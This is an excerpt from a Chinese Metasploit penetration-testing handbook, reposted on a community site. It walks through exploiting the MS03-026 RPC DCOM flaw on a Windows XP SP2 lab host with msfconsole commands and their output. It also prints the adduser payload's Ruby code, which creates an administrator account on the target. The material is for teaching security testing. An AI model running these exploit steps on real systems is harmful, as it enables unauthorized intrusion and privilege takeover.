《Metasploit渗透测试手册》—第3章3.3节 在Windows XP SP2上进行渗透测试8.7 使用Metasploit进行模糊测试

简介:

本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第3章3.3节 在Windows XP SP2上进行渗透测试8.7 使用Metasploit进行模糊测试,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。

3.3 在Windows XP SP2上进行渗透测试8.7 使用Metasploit进行模糊测试
Metasploit渗透测试手册
本节中我们将介绍如何使用Metasploit攻陷运行着Windows XP操作系统的目标机器,其中需要使用前面章节中讲到的一些命令,进一步选择漏洞利用代码和攻击载荷,并设置各种必需的参数。

准备
首先在msfconsole中进行渗透测试过程。启动控制台,扫描端口搜集目标机器的信息,前面已经详细讨论过端口扫描的相关内容,这里假设已搜集到目标机器的信息,并确定其运行的是Windows XP操作系统,接下来选择漏洞利用代码和攻击载荷。

怎样实现
若要在Windows XP SP2上进行渗透测试,需遵循如下步骤。

(1)主要目标是选择可用于Windows XP的漏洞利用代码,用户可以浏览/exploits/ window目录,或简单地搜索有哪些可用于Windows XP的漏洞利用代码。我们将使用RPC dcom漏洞对目标进行渗透,所以先对RPC dcom漏洞进行搜索,可使用如下命令。

msf  exploit(ms03_026_dcom) > search dcom
Matching Modules
================
  Name                   Disclosure Date   Rank  Description
  ----                   --------------    ---   -----------  
  exploit/windowsdcerpc/ms03_026_dcom    2003-07-16    great  Microsoft RPC 
xploit/windows/driver/broadcom_wifi_ssid  2006-11-11    low    Broadcom Wireless 
xploit/windows/smb/ms04_031_netdde     2004-10-12    good   Microsoft NetDDE

从结果可以看到,共搜索到3个相关的结果。选择使用第一个,因为该漏洞利用代码的评级为great,预示着使用该漏洞利用代码成功的几率更大。

(2)为将exploit/windows/dcerpc/ms03_026_dcom设置为可用的漏洞利用代码,可执行如下命令。

msf  exploit(ms03_026_dcom) > use exploit/windows/dcerpc/ms03_026_dcom 
msf  exploit(ms03_026_dcom) >

命令行提示符的改变表明该命令已经运行成功。

(3)下一步为该漏洞利用代码设置必要的参数,show options命令可以列出该漏洞利用代码的可用参数,之后使用set命令即可对参数进行设置,其中一些参数会有默认值。

msf  exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                      yes        The target address
   RPORT  135                yes        The target port
Exploit target:
   Id  Name
   --  ----
   0   Windows NT SP3-6a/2000/XP/2003 Universal

这里,RHOST用于指定远程目标主机的IP地址,RPORT用于指定默认的绑定端口。默认情况下,RPORT的值设置为135端口,我们需要将RHOST设置为实际的目标主机IP地址。

msf  exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
msf  exploit(ms03_026_dcom) >

注意ms03_026_dcom漏洞利用代码的ID设置为0,这意味着不需要指定目标上运行的具体Windows类型,本漏洞利用代码适用于该项目列出的所有Windows版本。其他的漏洞利用代码一般都需要使用show targets命令来选择目标操作系统。
目前,RHOST的值已经被设置为目标IP地址,如果此时运行漏洞利用代码,会产生错误消息,因为还没有为该漏洞利用代码选择攻击载荷。

(4)下一步选择合适的攻击载荷,可以使用命令show payloads列出所有可用的攻击载荷。这里选择使用简单的windows/adduser攻击载荷,其功能是在目标机器操作系统中添加新用户。

msf  exploit(ms03_026_dcom) > set PAYLOAD windows/adduser 
PAYLOAD => windows/adduser

(5)再次运行show options命令,将列出漏洞利用代码与攻击载荷的所有参数。攻击载荷参数形式如下所示。

Payload options (windows/adduser):
   Name      Current Setting  Required       Description
   ----      ---------------  --------       -----------
   EXITFUNC  thread          yes        seh, thread, process, 
none
   PASS      metasploit      yes        password for this user
   USER      metasploit       yes        The username to create

从结果可以看到,添加到目标操作系统中的缺省用户名和口令都是metasploit,如果要更改这些值,可以使用set PASS命令和set USER命令。

(6)攻击载荷已经设置完成,下面可以对目标机器进行渗透,使用下面的命令运行该漏洞利用代码。

msf  exploit(ms03_026_dcom) > exploit
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_
tcp:192.168.56.102[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_
tcp:192.168.56.102[135] ...
[*] Sending exploit ...
[*] Exploit completed, but no session was created.

最后一行输出表明,漏洞利用代码在目标机器上已经成功运行完毕,并在其上添加了新用户。还可以看出,并没有创建新的会话,这是因为选用的攻击载荷是一个简单的adduser,该攻击载荷不需要活跃会话,因此,该漏洞利用代码运行后,与目标机器的连接即告终止。下一节将介绍如何使用攻击载荷建立会话。

怎样工作
在处理TCP/IP消息交换的RPC协议中存在漏洞,漏洞的成因是对畸形消息的处理存在错误,该漏洞影响分布式组件对象模型(DCOM)接口(该接口在激活了RPC的端口上进行监听),所以,需要在目标机器上存在运行RPC服务的可用端口。

该接口用于处理客户端向服务器发送的DCOM对象激活请求,成功利用该漏洞后,攻击者可在受影响系统上以本地系统权限运行任意代码,并在目标机器上执行某些操作,例如安装程序、查看/修改/删除数据,或创建高权限的用户账号。

要了解该漏洞的更多细节,可以参考如下的微软安全公告链接。

http://technet.microsoft.com/en-us/security/bulletin/ms03-026

为了理解adduser攻击载荷的工作机理,需要对该载荷的ruby代码进行分析,并找到如下位置。

root@bt:~#  cd  /pentest/exploits/framework3/modules/payloads/singles/
windows
root@bt:/pentest/exploits/framework3/modules/payloads/singles/windows# 
less adduser.rb
观察下面的代码。

# Register command execution options
        register_options(

            [
                OptString.new('USER', [ true, "The 
username to create", "metasploit" ]),
                OptString.new('PASS', [ true, "The 
password for this user", "metasploit" ]),
            ], self.class)
          # Hide the CMD option
          deregister_options('CMD')
    end
    #
    # Override the exec command string
    #
    def command_string
         user = datastore['USER'] || 'metasploit'
         pass = datastore['PASS'] || ''

         if(pass.length > 14)
              raise ArgumentError, "Password for the adduser 
payload must be 14 characters or less"
         end

         return "cmd.exe /c net user #{user} #{pass} /ADD && " 
+
              "net localgroup Administrators #{user} /ADD"
    end

读者可以通过阅读#符号注释后面的介绍以理解代码的功能,上面的代码是简单。首先为用户名和口令注册相应值,然后隐藏CMD函数,以便在攻击载荷执行时不会出现在屏幕上,之后覆盖windows/exec载荷,传递参数值,并启动隐秘的命令提示符在后台执行相应命令。

读者可以根据需要对这段代码进行修改,这将有助于对攻击载荷的深入理解。

本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。

相关文章
|
4月前
|
自然语言处理 文字识别 语音技术
VMWare 安装英文版 Windows XP 后遇到中文乱码问题的解决方法
VMWare 安装英文版 Windows XP 后遇到中文乱码问题的解决方法
55 0
VMWare 安装英文版 Windows XP 后遇到中文乱码问题的解决方法
|
5月前
|
分布式计算 Hadoop Java
Hadoop配置手册1:hadoop环境搭建与测试
Hadoop配置手册1:hadoop环境搭建与测试
208 0
|
5月前
|
存储 分布式计算 Hadoop
Hadoop配置手册2: 测试Hdfs和WordCount测试
Hadoop配置手册2: 测试Hdfs和WordCount测试
76 0
|
9月前
《阿里云产品手册2022-2023 版》——TPCx-BB测试认证性能全球第一
《阿里云产品手册2022-2023 版》——TPCx-BB测试认证性能全球第一
100 0
|
10月前
|
Windows
这 13 个技巧,教你如何优雅地使用 Windows | 优雅生存手册
这 13 个技巧,教你如何优雅地使用 Windows | 优雅生存手册
|
存储 Linux Windows
VMware12部署windows xp虚拟机
请先准备好windows xp的iso文件,如果没有请点击下载
173 0
VMware12部署windows xp虚拟机
|
安全 Java Linux
基于Metasploit的软件渗透测试(五)
基于Metasploit的软件渗透测试(五)
715 0
基于Metasploit的软件渗透测试(五)
|
安全 Linux 测试技术
基于Metasploit的软件渗透测试(四)
基于Metasploit的软件渗透测试(四)
897 0
基于Metasploit的软件渗透测试(四)
|
SQL 安全 网络协议
基于Metasploit的软件渗透测试(三)
基于Metasploit的软件渗透测试(三)
220 0
基于Metasploit的软件渗透测试(三)
|
XML 网络协议 关系型数据库
基于Metasploit的软件渗透测试(二)
基于Metasploit的软件渗透测试(二)
477 0